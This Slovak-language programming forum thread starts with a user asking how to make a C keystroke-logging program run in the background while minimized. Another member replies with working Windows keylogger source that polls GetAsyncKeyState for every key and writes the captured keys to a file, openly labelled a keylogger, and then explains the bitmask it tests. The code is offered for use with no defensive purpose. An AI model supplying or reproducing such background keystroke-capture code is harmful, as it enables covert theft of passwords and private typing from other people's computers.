Stránka: 1 z 1
| [ Príspevkov: 5 ] | |
Autor | Správa |
---|
Registrovaný: 11.09.12 Prihlásený: 11.09.12 Príspevky: 2 Témy: 1 | 1 |
Dobrý deň,
Mám takýto program :
Kód: #include <stdio.h> #include <conio.h> #include <windows.h>
int main(int argc, char* argv[]) { FILE *subor; unsigned char ch=0;
while(1) { subor=fopen("slovnik.txt","a"); if(kbhit()) { ch = getch(); switch(ch) {
case 0x0D : fprintf(subor,"\n"); break;
default: fprintf(subor,"%c",ch); } } fclose(subor); }
return 0;
}
chcel by som sa opýtať či by mi niekto nevedel poradiť aby tento program bežal na pozadí napr. keď je na lište. Takže keď mam otvorený samostatný cmd a píšem tak mi zapisuje do súboru no ja chcem aby fungoval aj keď je minimalizovaný ........ vopred ďakujem za rady a pomoc
|
|
Registrovaný: 11.01.09 Prihlásený: 09.05.24 Príspevky: 1385 Témy: 9 | 9 Bydlisko: Hrinova |
Skus si toto:
Kód: #include <stdio.h> #include <windows.h>
int main() {
FILE *subor; unsigned char c; int process_running = 1;
subor = fopen( "slovnik.txt", "a+" ); if ( subor == NULL ) { printf( "* Ajaj, keylogger zlyhal :-o\n" ); return 1; }
while( process_running ) { Sleep( 10 ); for( c = 8; c <= 127; c++ ) { if( GetAsyncKeyState( c ) == -32767 ) { if ( c == VK_ESCAPE ) { process_running = 0; break; }
fprintf( subor, "%c", c );
/* *** DEBUG *** */ /* printf( "%c ", c ); */ } } }
close( subor ); return 0;
}
Mam len linux, cize skompilovat mi to slo, ale spusit to uz musis sam. Ak to nepojde, odkomentuj riadok printf, ci to aspon do konzoly pise spravne znaky.
|
|
Registrovaný: 11.09.12 Prihlásený: 11.09.12 Príspevky: 2 Témy: 1 | 1 |
ooo ďakujem si supr takto to je lepšie:) len nechápem prečo tu funkciu na čítanie z klávesnice porovnávaš stým číslom -32767
|
|
Registrovaný: 11.01.09 Prihlásený: 09.05.24 Príspevky: 1385 Témy: 9 | 9 Bydlisko: Hrinova |
Pretoze ked si pozries, ako su reprezentovane zaporne cisla v pamati, tak zistis, ze cislo -32767 je v dvojkovej sustave 1000000000000001, cize je nastaveny prvy a posledny bit. Ked si potom pozries dokumentaciu k funkcii GetAsyncKeyState, zistis, ze sa tam pise:
msdn píše: If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.
Mohol som ti to napisat aj takto:
Kód: if( GetAsyncKeyState( c ) == 0x8001 ) alebo takto: Kód: if( ( GetAsyncKeyState( c ) & 0x8001 ) == 0x8001 )
a tak dalej a tak dalej, ale stale sa jedna o ten isty zapis 16-bitoveho cisla, ktore ma nastaveny prvy a posledny bit.
|
|
Registrovaný: 14.03.11 Prihlásený: 30.04.24 Príspevky: 814 Témy: 23 | 23 Bydlisko: Bratislava |
je fascinujúce v slučke otvárať a zatvárať súbor...
|
|
Stránka: 1 z 1
| [ Príspevkov: 5 ] | |
Podobné témy | Témy | Odpovede | Zobrazenia | Posledný príspevok |
---|
| v Assembler, C, C++, Pascal, Java | 2 | 835 | 12.03.2009 12:08 Svjatogor | | v Assembler, C, C++, Pascal, Java | 1 | 388 | 20.03.2015 22:36 walther | | v Assembler, C, C++, Pascal, Java | 5 | 735 | 08.07.2014 20:40 XOLOO | | v Assembler, C, C++, Pascal, Java | 1 | 839 | 11.05.2008 8:23 sento | | v Assembler, C, C++, Pascal, Java | 13 | 739 | 25.03.2017 11:21 mitko | | v Assembler, C, C++, Pascal, Java | 1 | 300 | 05.11.2013 16:00 Ďuri | | v Assembler, C, C++, Pascal, Java | 7 | 744 | 23.05.2008 16:21 poma | | v Assembler, C, C++, Pascal, Java | 2 | 1305 | 06.12.2006 20:44 rebecca | | v Assembler, C, C++, Pascal, Java | 2 | 570 | 16.05.2008 16:51 Cruel | | v Assembler, C, C++, Pascal, Java | 24 | 1608 | 31.08.2010 22:02 ado21 | | v Assembler, C, C++, Pascal, Java | 19 | 1121 | 11.09.2010 20:57 jawakiller | | v Assembler, C, C++, Pascal, Java | 0 | 738 | 19.04.2007 17:28 pecko | | v Assembler, C, C++, Pascal, Java | 23 | 1138 | 28.05.2009 14:02 reDo | | v Assembler, C, C++, Pascal, Java | 2 | 539 | 07.06.2012 21:57 Hipi21 | | v Assembler, C, C++, Pascal, Java | 2 | 700 | 12.09.2011 19:39 mk* | | v Assembler, C, C++, Pascal, Java | 8 | 750 | 02.02.2012 19:01 ochar |
|